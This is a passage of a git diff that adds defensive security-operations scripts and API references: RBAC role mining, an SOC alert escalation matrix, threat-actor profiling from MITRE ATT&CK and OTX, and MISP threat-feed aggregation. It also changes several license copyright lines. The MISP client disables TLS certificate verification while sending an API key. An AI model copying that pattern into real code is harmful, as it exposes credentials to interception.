build_user_permission_matrix(assignments): + """Build user-to-permission-set mapping.""" + matrix = defaultdict(set) + for a in assignments: + key = f"{a['system']}:{a['entitlement']}" + matrix[a["user"]].add(key) + return {user: sorted(perms) for user, perms in matrix.items()} + + +def mine_roles_bottom_up(user_matrix, min_users=2): + """Bottom-up role mining: find common permission sets shared by multiple users.""" + perm_set_users = defaultdict(list) + for user, perms in user_matrix.items(): + key = tuple(perms) + perm_set_users[key].append(user) + candidate_roles = [] + role_id = 0 + for perm_set, users in perm_set_users.items(): + if len(users) >= min_users: + role_id += 1 + candidate_roles.append({ + "role_id": f"ROLE-{role_id:03d}", + "permissions": list(perm_set), + "assigned_users": users, + "user_count": len(users), + }) + candidate_roles.sort(key=lambda r: r["user_count"], reverse=True) + logger.info("Mined %d candidate roles (min_users=%d)", len(candidate_roles), min_users) + return candidate_roles + + +def mine_roles_top_down(user_matrix, similarity_threshold=0.8): + """Top-down role mining: cluster users by permission similarity (Jaccard).""" + users = list(user_matrix.keys()) + clusters = [] + visited = set() + for i, u1 in enumerate(users): + if u1 in visited: + continue + cluster = [u1] + visited.add(u1) + s1 = set(user_matrix[u1]) + for j in range(i + 1, len(users)): + u2 = users[j] + if u2 in visited: + continue + s2 = set(user_matrix[u2]) + intersection = len(s1 & s2) + union = len(s1 | s2) + jaccard = intersection / union if union > 0 else 0 + if jaccard >= similarity_threshold: + cluster.append(u2) + visited.add(u2) + if len(cluster) >= 2: + common_perms = set(user_matrix[cluster[0]]) + for u in cluster[1:]: + common_perms &= set(user_matrix[u]) + clusters.append({"users": cluster, "common_permissions": sorted(common_perms), + "user_count": len(cluster)}) + logger.info("Found %d user clusters (threshold=%.2f)", len(clusters), similarity_threshold) + return clusters + + +def detect_outliers(user_matrix, candidate_roles): + """Detect users with unique permissions not covered by any candidate role.""" + role_perms = set() + for role in candidate_roles: + role_perms.update(role["permissions"]) + outliers = [] + for user, perms in user_matrix.items(): + uncovered = set(perms) - role_perms + if uncovered: + outliers.append({"user": user, "uncovered_permissions": sorted(uncovered), + "total_permissions": len(perms), "uncovered_count": len(uncovered)}) + outliers.sort(key=lambda o: o["uncovered_count"], reverse=True) + logger.info("Found %d users with uncovered permissions", len(outliers)) + return outliers + + +def calculate_optimization_metrics(user_matrix, candidate_roles): + """Calculate RBAC optimization metrics.""" + total_assignments = sum(len(perms) for perms in user_matrix.values()) + total_users = len(user_matrix) + role_assignments = sum(r["user_count"] for r in candidate_roles) + all_perms = set() + for perms in user_matrix.values(): + all_perms.update(perms) + return { + "total_users": total_users, + "total_unique_permissions": len(all_perms), + "total_assignments": total_assignments, + "candidate_roles": len(candidate_roles), + "role_coverage_users": role_assignments, + "avg_permissions_per_user": round(total_assignments / total_users, 1) if total_users else 0, + "avg_users_per_role": round(role_assignments / len(candidate_roles), 1) if candidate_roles else 0, + } + + +def generate_report(candidate_roles, clusters, outliers, metrics): + """Generate role mining report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "optimization_metrics": metrics, + "candidate_roles": candidate_roles[:20], + "user_clusters": clusters[:20], + "permission_outliers": outliers[:20], + } + print(f"RBAC REPORT: {metrics['total_users']} users, {metrics['candidate_roles']} candidate roles, " + f"{len(outliers)} outliers") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Role Mining for RBAC Optimization") + parser.add_argument("--input", required=True, help="CSV file with user,entitlement,system columns") + parser.add_argument("--min-users", type=int, default=2, help="Minimum users for role candidate") + parser.add_argument("--similarity", type=float, default=0.8, help="Jaccard similarity threshold") + parser.add_argument("--output", default="rbac_mining_report.json") + args = parser.parse_args() + + assignments = load_entitlements(args.input) + user_matrix = build_user_permission_matrix(assignments) + candidate_roles = mine_roles_bottom_up(user_matrix, args.min_users) + clusters = mine_roles_top_down(user_matrix, args.similarity) + outliers = detect_outliers(user_matrix, candidate_roles) + metrics = calculate_optimization_metrics(user_matrix, candidate_roles) + report = generate_report(candidate_roles, clusters, outliers, metrics) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-soc-escalation-matrix/LICENSE b/skills/building-soc-escalation-matrix/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-soc-escalation-matrix/LICENSE +++ b/skills/building-soc-escalation-matrix/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-soc-escalation-matrix/references/api-reference.md b/skills/building-soc-escalation-matrix/references/api-reference.md new file mode 100644 index 00000000..c5e10867 --- /dev/null +++ b/skills/building-soc-escalation-matrix/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: SOC Escalation Matrix + +## Priority Tiers +| Tier | Response SLA | Update SLA | Resolution SLA | +|------|-------------|------------|----------------| +| P1 Critical | 15 min | 1 hour | 4 hours | +| P2 High | 30 min | 2 hours | 8 hours | +| P3 Medium | 1 hour | 4 hours | 24 hours | +| P4 Low | 4 hours | 8 hours | 72 hours | + +## Alert Categories +| Category | Default Priority | Auto-Escalate Triggers | +|----------|-----------------|----------------------| +| Malware | P2 | ransomware, wiper, apt | +| Phishing | P3 | executive_target, credential_harvested | +| Unauthorized Access | P2 | admin_account, domain_controller | +| Data Exfiltration | P1 | pii, financial, classified | +| Insider Threat | P2 | privileged_user, data_staging | + +## Escalation Chain +``` +P1: SOC Analyst → SOC Lead → IR Manager → CISO +P2: SOC Analyst → SOC Lead → IR Manager +P3: SOC Analyst → SOC Lead +P4: SOC Analyst +``` + +## Notification Channels +| Tier | Channels | +|------|----------| +| P1 | Slack #critical-alerts, PagerDuty, Email CISO, SMS | +| P2 | Slack #soc-alerts, PagerDuty, Email IR Manager | +| P3 | Slack #soc-alerts, Email SOC Lead | +| P4 | Slack #soc-triage | + +## PagerDuty Incident API +``` +POST https://events.pagerduty.com/v2/enqueue +{ + "routing_key": "SERVICE_KEY", + "event_action": "trigger", + "payload": { + "summary": "P1 Alert: Data exfiltration detected", + "severity": "critical", + "source": "SOC SIEM" + } +} +``` + +## Slack Webhook Notification +``` +POST https://hooks.slack.com/services/T.../B.../xxx +{ + "channel": "#critical-alerts", + "text": "P1 Incident: ..." +} +``` + +## Auto-Escalation Rules +| Condition | Action | +|-----------|--------| +| Response SLA exceeded | Escalate to next in chain | +| >= 3 correlated alerts | Increase priority by 1 | +| VIP user affected | Auto-escalate to P1 | +| Critical asset impacted | Increase priority by 1 | diff --git a/skills/building-soc-escalation-matrix/scripts/agent.py b/skills/building-soc-escalation-matrix/scripts/agent.py new file mode 100644 index 00000000..63e934a0 --- /dev/null +++ b/skills/building-soc-escalation-matrix/scripts/agent.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +"""SOC Escalation Matrix Agent - Builds and validates SOC escalation paths and response workflows.""" + +import json +import logging +import argparse +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +SEVERITY_TIERS = { + "P1": {"name": "Critical", "response_sla": 15, "update_sla": 60, "resolution_sla": 240, + "escalation_path": ["SOC Analyst", "SOC Lead", "IR Manager", "CISO"], + "notification": ["Slack #critical-alerts", "PagerDuty", "Email CISO", "SMS Exec Team"]}, + "P2": {"name": "High", "response_sla": 30, "update_sla": 120, "resolution_sla": 480, + "escalation_path": ["SOC Analyst", "SOC Lead", "IR Manager"], + "notification": ["Slack #soc-alerts", "PagerDuty", "Email IR Manager"]}, + "P3": {"name": "Medium", "response_sla": 60, "update_sla": 240, "resolution_sla": 1440, + "escalation_path": ["SOC Analyst", "SOC Lead"], + "notification": ["Slack #soc-alerts", "Email SOC Lead"]}, + "P4": {"name": "Low", "response_sla": 240, "update_sla": 480, "resolution_sla": 4320, + "escalation_path": ["SOC Analyst"], + "notification": ["Slack #soc-triage"]}, +} + +ALERT_CATEGORIES = { + "malware": {"default_priority": "P2", "auto_escalate_if": ["ransomware", "wiper", "apt"]}, + "phishing": {"default_priority": "P3", "auto_escalate_if": ["executive_target", "credential_harvested"]}, + "unauthorized_access": {"default_priority": "P2", "auto_escalate_if": ["admin_account", "domain_controller"]}, + "data_exfiltration": {"default_priority": "P1", "auto_escalate_if": ["pii", "financial", "classified"]}, + "denial_of_service": {"default_priority": "P2", "auto_escalate_if": ["customer_facing", "revenue_impacting"]}, + "insider_threat": {"default_priority": "P2", "auto_escalate_if": ["privileged_user", "data_staging"]}, + "vulnerability_exploit": {"default_priority": "P2", "auto_escalate_if": ["zero_day", "active_exploitation"]}, +} + + +def classify_alert(category, tags, affected_asset_criticality="medium"): + """Classify alert priority based on category, tags, and asset criticality.""" + cat_info = ALERT_CATEGORIES.get(category, {"default_priority": "P3", "auto_escalate_if": []}) + priority = cat_info["default_priority"] + escalation_reasons = [] + for tag in tags: + if tag in cat_info["auto_escalate_if"]: + escalation_reasons.append(f"Tag '{tag}' triggers auto-escalation") + if affected_asset_criticality == "critical": + escalation_reasons.append("Critical asset affected") + if escalation_reasons: + priority_num = int(priority[1]) + new_priority = f"P{max(1, priority_num - 1)}" + if new_priority != priority: + escalation_reasons.append(f"Escalated from {priority} to {new_priority}") + priority = new_priority + return {"priority": priority, "category": category, "escalation_reasons": escalation_reasons, + "sla": SEVERITY_TIERS[priority]} + + +def build_escalation_matrix(): + """Build complete escalation matrix structure.""" + matrix = {"tiers": {}, "categories": {}, "auto_escalation_rules": []} + for tier_id, tier_info in SEVERITY_TIERS.items(): + matrix["tiers"][tier_id] = { + "name": tier_info["name"], + "response_sla_minutes": tier_info["response_sla"], + "update_sla_minutes": tier_info["update_sla"], + "resolution_sla_minutes": tier_info["resolution_sla"], + "escalation_chain": tier_info["escalation_path"], + "notification_channels": tier_info["notification"], + } + for cat_name, cat_info in ALERT_CATEGORIES.items(): + matrix["categories"][cat_name] = { + "default_priority": cat_info["default_priority"], + "auto_escalation_triggers": cat_info["auto_escalate_if"], + } + matrix["auto_escalation_rules"] = [ + {"rule": "SLA breach: response", "action": "Escalate to next tier in chain", "condition": "Response SLA exceeded"}, + {"rule": "SLA breach: update", "action": "Notify SOC Lead", "condition": "Update SLA exceeded"}, + {"rule": "SLA breach: resolution", "action": "Escalate to IR Manager", "condition": "Resolution SLA exceeded"}, + {"rule": "Multiple related alerts", "action": "Escalate priority by 1", "condition": ">= 3 correlated alerts"}, + {"rule": "VIP user affected", "action": "Auto-escalate to P1", "condition": "Executive or board member"}, + ] + return matrix + + +def validate_escalation_matrix(matrix): + """Validate the escalation matrix for completeness and consistency.""" + issues = [] + for tier_id, tier in matrix["tiers"].items(): + if not tier.get("escalation_chain"): + issues.append({"tier": tier_id, "issue": "Empty escalation chain", "severity": "critical"}) + if tier.get("response_sla_minutes", 0) >= tier.get("update_sla_minutes", 0): + issues.append({"tier": tier_id, "issue": "Response SLA >= Update SLA", "severity": "warning"}) + if not tier.get("notification_channels"): + issues.append({"tier": tier_id, "issue": "No notification channels", "severity": "high"}) + for cat, info in matrix["categories"].items(): + if info["default_priority"] not in matrix["tiers"]: + issues.append({"category": cat, "issue": f"Invalid priority {info['default_priority']}", "severity": "critical"}) + valid = not any(i["severity"] == "critical" for i in issues) + return {"valid": valid, "issues": issues, "tier_count": len(matrix["tiers"]), + "category_count": len(matrix["categories"])} + + +def simulate_alerts(matrix, alerts): + """Simulate alert classification through the escalation matrix.""" + results = [] + for alert in alerts: + classification = classify_alert(alert.get("category", ""), alert.get("tags", []), + alert.get("asset_criticality", "medium")) + results.append({"alert": alert, "classification": classification}) + return results + + +def generate_report(matrix, validation, simulation_results=None): + """Generate escalation matrix report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "escalation_matrix": matrix, + "validation": validation, + "simulation_results": simulation_results or [], + } + status = "VALID" if validation["valid"] else "INVALID" + print(f"ESCALATION MATRIX: {status}, {validation['tier_count']} tiers, " + f"{validation['category_count']} categories, {len(validation['issues'])} issues") + return report + + +def main(): + parser = argparse.ArgumentParser(description="SOC Escalation Matrix Builder") + parser.add_argument("--validate", action="store_true", help="Validate matrix") + parser.add_argument("--simulate", help="JSON file with test alerts for simulation") + parser.add_argument("--output", default="escalation_matrix_report.json") + args = parser.parse_args() + + matrix = build_escalation_matrix() + validation = validate_escalation_matrix(matrix) + simulation_results = None + if args.simulate: + with open(args.simulate) as f: + alerts = json.load(f) + simulation_results = simulate_alerts(matrix, alerts) + + report = generate_report(matrix, validation, simulation_results) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-soc-metrics-and-kpi-tracking/LICENSE b/skills/building-soc-metrics-and-kpi-tracking/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-soc-metrics-and-kpi-tracking/LICENSE +++ b/skills/building-soc-metrics-and-kpi-tracking/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-soc-playbook-for-ransomware/LICENSE b/skills/building-soc-playbook-for-ransomware/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-soc-playbook-for-ransomware/LICENSE +++ b/skills/building-soc-playbook-for-ransomware/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-threat-actor-profile-from-osint/LICENSE b/skills/building-threat-actor-profile-from-osint/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-threat-actor-profile-from-osint/LICENSE +++ b/skills/building-threat-actor-profile-from-osint/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-threat-actor-profile-from-osint/references/api-reference.md b/skills/building-threat-actor-profile-from-osint/references/api-reference.md new file mode 100644 index 00000000..e7c39cff --- /dev/null +++ b/skills/building-threat-actor-profile-from-osint/references/api-reference.md @@ -0,0 +1,73 @@ +# API Reference: Threat Actor Profiling from OSINT + +## MITRE ATT&CK STIX Data +```bash +curl -o enterprise-attack.json \ + https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json +``` + +### STIX Object Types +| Type | Description | +|------|-------------| +| `intrusion-set` | Threat actor groups | +| `attack-pattern` | Techniques/sub-techniques | +| `malware` | Malware families | +| `tool` | Legitimate tools abused | +| `relationship` | Links (group "uses" technique) | + +## AlienVault OTX API +``` +GET https://otx.alienvault.com/api/v1/pulses/search?q={group_name}&limit=10 +X-OTX-API-KEY: $OTX_API_KEY +``` + +### OTX Pulse Fields +| Field | Description | +|-------|-------------| +| `name` | Pulse title | +| `created` | Publication date | +| `tags` | Topic tags | +| `indicators` | IOCs (IPs, domains, hashes) | + +## MITRE ATT&CK Navigator Layer +```json +{ + "name": "APT29 Techniques", + "versions": {"attack": "14", "navigator": "4.9"}, + "domain": "enterprise-attack", + "techniques": [ + {"techniqueID": "T1566.001", "score": 100, "color": "#ff6666"} + ] +} +``` + +## ATT&CK Tactic IDs +| Tactic | ID | +|--------|-----| +| Initial Access | TA0001 | +| Execution | TA0002 | +| Persistence | TA0003 | +| Privilege Escalation | TA0004 | +| Defense Evasion | TA0005 | +| Credential Access | TA0006 | +| Discovery | TA0007 | +| Lateral Movement | TA0008 | +| Collection | TA0009 | +| Exfiltration | TA0010 | +| Command and Control | TA0011 | +| Impact | TA0040 | + +## MALPEDIA API +``` +GET https://malpedia.caad.fkie.fraunhofer.de/api/list/actors +Authorization: apitoken $MALPEDIA_API_KEY +``` + +## Threat Actor Profiling Fields +| Field | Source | +|-------|--------| +| Aliases | ATT&CK intrusion-set | +| TTPs | ATT&CK relationships | +| Malware | ATT&CK malware objects | +| IOCs | OTX pulse indicators | +| Reports | OTX, MITRE references | diff --git a/skills/building-threat-actor-profile-from-osint/scripts/agent.py b/skills/building-threat-actor-profile-from-osint/scripts/agent.py new file mode 100644 index 00000000..963831bf --- /dev/null +++ b/skills/building-threat-actor-profile-from-osint/scripts/agent.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +"""Threat Actor Profiling from OSINT Agent - Builds threat actor profiles using open-source intelligence.""" + +import json +import logging +import argparse +from datetime import datetime + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +MITRE_ATTACK_URL = "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json" + + +def fetch_mitre_attack_data(): + """Fetch MITRE ATT&CK enterprise data.""" + resp = requests.get(MITRE_ATTACK_URL, timeout=60) + resp.raise_for_status() + bundle = resp.json() + logger.info("Fetched ATT&CK bundle with %d objects", len(bundle.get("objects", []))) + return bundle + + +def extract_group_info(bundle, group_name): + """Extract threat group information from ATT&CK STIX bundle.""" + groups = [o for o in bundle["objects"] if o.get("type") == "intrusion-set"] + target_group = None + for g in groups: + aliases = [g.get("name", "").lower()] + [a.lower() for a in g.get("aliases", [])] + if group_name.lower() in aliases: + target_group = g + break + if not target_group: + logger.warning("Group '%s' not found. Available: %s", group_name, [g["name"] for g in groups[:20]]) + return None + return { + "name": target_group.get("name"), + "aliases": target_group.get("aliases", []), + "description": target_group.get("description", "")[:500], + "stix_id": target_group.get("id"), + "created": target_group.get("created"), + "modified": target_group.get("modified"), + "external_references": [{"source": r.get("source_name"), "url": r.get("url")} + for r in target_group.get("external_references", []) if r.get("url")], + } + + +def extract_group_techniques(bundle, group_stix_id): + """Extract techniques used by a threat group via relationships.""" + relationships = [o for o in bundle["objects"] if o.get("type") == "relationship" + and o.get("source_ref") == group_stix_id and o.get("relationship_type") == "uses"] + technique_map = {} + for obj in bundle["objects"]: + if obj.get("type") == "attack-pattern": + technique_map[obj["id"]] = obj + techniques = [] + for rel in relationships: + target_id = rel.get("target_ref", "") + tech = technique_map.get(target_id) + if tech: + ext_refs = tech.get("external_references", []) + tech_id = next((r.get("external_id") for r in ext_refs if r.get("source_name") == "mitre-attack"), "") + kill_chain = [p.get("phase_name") for p in tech.get("kill_chain_phases", [])] + techniques.append({"technique_id": tech_id, "name": tech.get("name"), "tactics": kill_chain, + "description": rel.get("description", "")[:200]}) + logger.info("Found %d techniques for group", len(techniques)) + return techniques + + +def extract_group_malware_tools(bundle, group_stix_id): + """Extract malware and tools associated with the group.""" + relationships = [o for o in bundle["objects"] if o.get("type") == "relationship" + and o.get("source_ref") == group_stix_id and o.get("relationship_type") == "uses"] + obj_map = {o["id"]: o for o in bundle["objects"] if o.get("type") in ("malware", "tool")} + items = [] + for rel in relationships: + target = obj_map.get(rel.get("target_ref")) + if target: + items.append({"name": target.get("name"), "type": target.get("type"), + "description": target.get("description", "")[:200]}) + return items + + +def search_alienvault_otx(group_name, otx_key=None): + """Search AlienVault OTX for threat actor intelligence.""" + headers = {} + if otx_key: + headers["X-OTX-API-KEY"] = otx_key + try: + resp = requests.get(f"https://otx.alienvault.com/api/v1/pulses/search", + params={"q": group_name, "limit": 10}, headers=headers, timeout=15) + if resp.status_code == 200: + pulses = resp.json().get("results", []) + return [{"name": p.get("name"), "created": p.get("created"), "tags": p.get("tags", []), + "indicator_count": len(p.get("indicators", []))} for p in pulses] + except requests.RequestException as e: + logger.warning("OTX search failed: %s", e) + return [] + + +def build_tactic_coverage(techniques): + """Analyze tactic coverage across the kill chain.""" + tactic_map = {} + for tech in techniques: + for tactic in tech.get("tactics", []): + if tactic not in tactic_map: + tactic_map[tactic] = [] + tactic_map[tactic].append(tech["technique_id"]) + return {tactic: {"count": len(techs), "techniques": techs} for tactic, techs in tactic_map.items()} + + +def generate_report(group_info, techniques, malware_tools, otx_results, tactic_coverage): + """Generate threat actor profile report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "threat_actor_profile": group_info, + "mitre_techniques": techniques, + "malware_and_tools": malware_tools, + "tactic_coverage": tactic_coverage, + "osint_intelligence": otx_results, + "summary": { + "technique_count": len(techniques), + "tool_count": len(malware_tools), + "tactics_covered": len(tactic_coverage), + "osint_reports": len(otx_results), + }, + } + name = group_info.get("name", "Unknown") if group_info else "Unknown" + print(f"THREAT ACTOR PROFILE: {name}, {len(techniques)} techniques, " + f"{len(malware_tools)} tools, {len(tactic_coverage)} tactics") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Threat Actor Profiling from OSINT") + parser.add_argument("--group", required=True, help="Threat actor group name (e.g., APT29)") + parser.add_argument("--otx-key", help="AlienVault OTX API key") + parser.add_argument("--output", default="threat_actor_profile.json") + args = parser.parse_args() + + bundle = fetch_mitre_attack_data() + group_info = extract_group_info(bundle, args.group) + techniques, malware_tools = [], [] + if group_info: + techniques = extract_group_techniques(bundle, group_info["stix_id"]) + malware_tools = extract_group_malware_tools(bundle, group_info["stix_id"]) + otx_results = search_alienvault_otx(args.group, args.otx_key) + tactic_coverage = build_tactic_coverage(techniques) + report = generate_report(group_info, techniques, malware_tools, otx_results, tactic_coverage) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-threat-feed-aggregation-with-misp/LICENSE b/skills/building-threat-feed-aggregation-with-misp/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-threat-feed-aggregation-with-misp/LICENSE +++ b/skills/building-threat-feed-aggregation-with-misp/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-threat-feed-aggregation-with-misp/references/api-reference.md b/skills/building-threat-feed-aggregation-with-misp/references/api-reference.md new file mode 100644 index 00000000..341da951 --- /dev/null +++ b/skills/building-threat-feed-aggregation-with-misp/references/api-reference.md @@ -0,0 +1,88 @@ +# API Reference: Threat Feed Aggregation with MISP + +## PyMISP Python Client + +### Installation +```bash +pip install pymisp +``` + +### Client Initialization +```python +from pymisp import PyMISP + +misp = PyMISP( + url="https://misp.example.org", + key=os.environ.get("MISP_API_KEY", ""), + ssl=True +) +``` + +### Feed Management +```python +# List all feeds +feeds = misp.feeds() + +# Enable a feed +misp.enable_feed(feed_id=1) + +# Fetch feed data +misp.fetch_feed(feed_id=1) + +# Cache feed locally +misp.cache_feeds() + +# Add new feed +feed = misp.add_feed( + name="Abuse.ch URLhaus", + provider="abuse.ch", + url="https://urlhaus.abuse.ch/downloads/csv_recent/", + input_source="network", + source_format="csv" +) +``` + +### Event Operations +```python +# Search events by tag +events = misp.search(tags=["tlp:white", "type:OSINT"]) + +# Get event attributes +event = misp.get_event(event_id=42) +for attr in event.Attribute: + print(f"{attr.type}: {attr.value}") + +# Add attribute to event +misp.add_attribute(event_id=42, type="ip-dst", value="198.51.100.1") +``` + +### STIX/TAXII Export +```bash +# STIX export via REST +curl -H "Authorization: $MISP_KEY" \ + "https://misp.example.org/events/restSearch/stix2" + +# TAXII collection +curl "https://misp.example.org/taxii2/collections" +``` + +## Common Feed Sources +| Feed | URL | Format | +|------|-----|--------| +| Abuse.ch URLhaus | https://urlhaus.abuse.ch/downloads/csv_recent/ | CSV | +| Abuse.ch Feodo | https://feodotracker.abuse.ch/downloads/ipblocklist.csv | CSV | +| CIRCL OSINT | https://www.circl.lu/doc/misp/feed-osint/ | MISP | +| Botvrij.eu | https://www.botvrij.eu/data/feed-osint/ | MISP | +| PhishTank | https://data.phishtank.com/data/online-valid.json | JSON | + +## Feed Configuration Fields +| Field | Description | +|-------|------------| +| name | Human-readable feed name | +| provider | Organization providing the feed | +| url | Feed URL or local path | +| input_source | "network" or "local" | +| source_format | "misp", "csv", "freetext", "stix" | +| enabled | Boolean to activate feed | +| distribution | 0=Org, 1=Community, 2=Connected, 3=All | +| delta_merge | Only import new/changed data | diff --git a/skills/building-threat-feed-aggregation-with-misp/scripts/agent.py b/skills/building-threat-feed-aggregation-with-misp/scripts/agent.py new file mode 100644 index 00000000..169bcd36 --- /dev/null +++ b/skills/building-threat-feed-aggregation-with-misp/scripts/agent.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +"""Threat Feed Aggregation Agent - Aggregates and correlates threat intelligence feeds using MISP.""" + +import json +import logging +import argparse +from datetime import datetime, timedelta +from collections import defaultdict + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def misp_request(url, key, endpoint, method="GET", data=None): + """Make authenticated MISP API request.""" + headers = {"Authorization": key, "Accept": "application/json", "Content-Type": "application/json"} + full_url = f"{url}/{endpoint}" + try: + if method == "GET": + resp = requests.get(full_url, headers=headers, timeout=30, verify=False) + else: + resp = requests.post(full_url, headers=headers, json=data or {}, timeout=30, verify=False) + resp.raise_for_status() + return resp.json() + except requests.RequestException as e: + logger.error("MISP request failed: %s", e) + return {"error": str(e)} + + +def list_feeds(url, key): + """List configured MISP feeds.""" + data = misp_request(url, key, "feeds/index", method="POST") + feeds = data if isinstance(data, list) else data.get("Feed", []) + result = [] + for feed in feeds: + f = feed.get("Feed", feed) if isinstance(feed, dict) and "Feed" in feed else feed + result.append({"id": f.get("id"), "name": f.get("name"), "provider": f.get("provider"), + "url": f.get("url"), "enabled": f.get("enabled"), "source_format": f.get("source_format"), + "caching_enabled": f.get("caching_enabled")}) + logger.info("Found %d configured feeds", len(result)) + return result + + +def fetch_feed_data(url, key, feed_id): + """Fetch and cache data from a specific feed.""" + result = misp_request(url, key, f"feeds/cacheFeeds/{feed_id}", method="POST") + logger.info("Cached feed %s", feed_id) + return result + + +def search_attributes(url, key, attr_type=None, value=None, last_days=30): + """Search MISP attributes across all events.""" + search_body = {"returnFormat": "json", "limit": 1000, "last": f"{last_days}d"} + if attr_type: + search_body["type"] = attr_type + if value: + search_body["value"] = value + data = misp_request(url, key, "attributes/restSearch", method="POST", data=search_body) + attributes = data.get("response", {}).get("Attribute", []) + logger.info("Found %d attributes (type=%s, last %dd)", len(attributes), attr_type, last_days) + return attributes + + +def aggregate_feed_statistics(url, key, last_days=30): + """Aggregate statistics across all feeds.""" + events_data = misp_request(url, key, "events/restSearch", method="POST", + data={"returnFormat": "json", "limit": 500, "last": f"{last_days}d"}) + events = events_data.get("response", []) + stats = {"total_events": len(events), "by_threat_level": defaultdict(int), + "by_org": defaultdict(int), "by_tag": defaultdict(int), "attribute_types": defaultdict(int)} + threat_levels = {"1": "High", "2": "Medium", "3": "Low", "4": "Undefined"} + for event_wrap in events: + event = event_wrap.get("Event", event_wrap) + tl = threat_levels.get(str(event.get("threat_level_id", 4)), "Undefined") + stats["by_threat_level"][tl] += 1 + org = event.get("Orgc", {}).get("name", "Unknown") + stats["by_org"][org] += 1 + for tag in event.get("Tag", []): + stats["by_tag"][tag.get("name", "")] += 1 + for attr in event.get("Attribute", []): + stats["attribute_types"][attr.get("type", "unknown")] += 1 + return {k: dict(v) if isinstance(v, defaultdict) else v for k, v in stats.items()} + + +def correlate_across_feeds(url, key, ioc_value): + """Correlate an IOC across all feed events.""" + data = misp_request(url, key, "attributes/restSearch", method="POST", + data={"returnFormat": "json", "value": ioc_value, "limit": 100}) + attributes = data.get("response", {}).get("Attribute", []) + correlations = [] + seen_events = set() + for attr in attributes: + event_id = attr.get("event_id") + if event_id not in seen_events: + seen_events.add(event_id) + correlations.append({"event_id": event_id, "type": attr.get("type"), "category": attr.get("category"), + "comment": attr.get("comment", "")[:100]}) + logger.info("IOC '%s' found in %d events", ioc_value, len(correlations)) + return correlations + + +def assess_feed_health(feeds): + """Assess health and coverage of configured feeds.""" + total = len(feeds) + enabled = sum(1 for f in feeds if f.get("enabled")) + cached = sum(1 for f in feeds if f.get("caching_enabled")) + return {"total_feeds": total, "enabled": enabled, "disabled": total - enabled, + "caching_enabled": cached, "health_score": round(enabled / total * 100, 1) if total else 0} + + +def generate_report(feeds, stats, feed_health): + """Generate threat feed aggregation report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "feed_inventory": feeds, + "feed_health": feed_health, + "aggregated_statistics": stats, + } + print(f"FEED REPORT: {feed_health['total_feeds']} feeds, {feed_health['enabled']} enabled, " + f"{stats.get('total_events', 0)} events") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Threat Feed Aggregation with MISP") + parser.add_argument("--url", required=True, help="MISP instance URL") + parser.add_argument("--key", required=True, help="MISP API key") + parser.add_argument("--days", type=int, default=30, help="Look-back period in days") + parser.add_argument("--correlate", help="IOC value to correlate across feeds") + parser.add_argument("--output", default="feed_aggregation_report.json") + args = parser.parse_args() + + feeds = list_feeds(args.url, args.key) + stats = aggregate_feed_statistics(args.url, args.key, args.days) + feed_health = assess_feed_health(feeds) + report = generate_report(feeds, stats, feed_health) + if args.correlate: + report["correlation_results"] = correlate_across_feeds(args.url, args.key, args.correlate) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-threat-hunt-hypothesis-framework/LICENSE b/skills/building-threat-hunt-hypothesis-framework/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-threat-hunt-hypothesis-framework/LICENSE +++ b/skills/building-threat-hunt-hypothesis-framework/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 